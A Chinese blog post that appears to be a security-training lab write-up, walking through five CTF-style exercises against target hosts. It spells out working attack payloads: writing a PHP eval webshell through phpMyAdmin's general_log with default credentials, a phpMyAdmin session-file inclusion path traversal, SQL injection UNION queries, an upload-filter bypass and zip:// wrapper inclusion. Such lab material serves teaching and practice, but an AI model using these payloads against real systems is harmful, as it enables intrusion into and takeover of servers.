当前位置: 首页 > news >正文

Day-1 漏洞攻击实战

实训任务1 漏洞攻击实战一

使用 御剑 得到网站后台地址

        

数据库登录与日志配置​

  • 使用默认密码 root:root 登录phpMyAdmin,执行 SHOW VARIABLES LIKE 'general%' 查看日志状态。

  • 开启日志功能:set global general_log = "ON";(配图:SQL执行成功提示)。

​日志写入Webshell​

  • 修改日志路径到Web目录:

    set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';

  • 执行 SELECT '<?php @eval($_POST[1]);?>' 写入木马。

​连接Webshell​

  • 访问 http://靶机IP/shell.php,使用中国蚁剑成功连接。

        

实训任务2 漏洞攻击实战二

        御剑扫描网站后台

        

        发现存在www.zip文件(管理员备份文件)

存在数据库后台登录账号密码

运行SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>”
生成shell.php文件(未生成)

构造url运行存在session的sql命令生成shell文件

http://xxx.xx.xx.xxx:xxx/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_此处为步骤7获取到的sessionID

​连接Webshell​

访问 http://靶机IP/shell.php,使用中国蚁剑成功连接。

实训任务3 白云新闻搜索

  1. ​绕过过滤与注入验证​

    • 发现输入被转义,使用'触发报错。

  • 设置浏览器禁止使用JavaScript
    • 构造永真条件:' OR 1=1 -- ',确认存在注入。

  1. ​Union查询提取数据​

    • 确定列数后,联合查询表名:
      ' union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables -- '' union select 1,COLUMN_NAME,3 from INFORMATION_SCHEMA.columns -- '' union select 1,2,flag from admin -- '

        得到flag{fabbf4abe040f2fdac8234099facdccb}

实训任务4 手速要快

  1. ​绕过前端验证​

    • 修改文件后缀为.php.jpg      <?php @eval($_POST[123]);?>。 
  2. ​访问Webshell​

    • 通过目录遍历找到上传路径:http://192.168.210.83/uploads/1.php.jpg。

                       

实训任务5 包罗万象

        将php文件压缩上传

        

​上传ZIP并触发解压​

                上传包含shell.php的ZIP文件,利用伪协议包含:

http://192.168.210.84/index.php?url=zip:///var/www/html/upload/eee6b96824b2ab9ab6db41e36355eb89.zip%231

                %23 转译为#    ‘1’ 应该与压缩包内的php文件同名

​获取服务器权限​

  • 通过中国蚁剑管理服务器文件系统。

相关文章:

  • QT:Qt5 串口模块 (QSerialPort) 在 VS2015 中正确关闭串口避免被占用
  • 推荐系统/业务,相关知识/概念1
  • Sentinel源码—7.参数限流和注解的实现一
  • 如何在白平衡标定种构建不同类型的白平衡色温坐标系
  • 基于语义网络表示的不确定性推理
  • 从 0 到 1 转型 AI:突破技术壁垒的 5 大核心策略与实战路径
  • RK3588上编译opencv 及基于c++实现图像的读入
  • Java写数据结构:栈
  • Nebula图数据库
  • 富诺健康旗下运动营养品牌力爆(LIPOW):以冠军精神定义运动营养新时代
  • 论文分享:【2024 CVPR】Vision-and-Language Navigation via Causal Learning
  • NLTK 基础入门:用 Python 解锁自然语言处理
  • Redis 的单线程模型对微服务意味着什么?需要注意哪些潜在瓶颈?
  • Ansys-FLUENT-笔记1
  • yum如果备份已经安装的软件?
  • OpenCV day7
  • 爬楼梯(每日一题-简单)
  • 《FDTD Solutions仿真全面教程:超构表面与光束操控的前沿探索》
  • 国产AI新突破!全球首款无限时长电影生成模型SkyReels-V2开源:AI视频进入长镜头时代!
  • 搜索二叉树的实现以及一些重点接口的实现思路(包含递归以及非递归版本的实现)
  • 为溶血性疾病治疗提供新靶点,专家团队在《细胞》发文
  • 累计亏损10亿元,桂林旅游怎么了?
  • 北理工再通报:开除宫某党籍,免去行政职务,解除聘用关系
  • 新闻1+1丨全球首场人机共跑马拉松,有何看点?
  • 中央和国家机关工委建立健全整治形式主义为基层减负长效机制
  • 一代油画家的“色彩之诗”:周碧初捐赠艺术展上海举行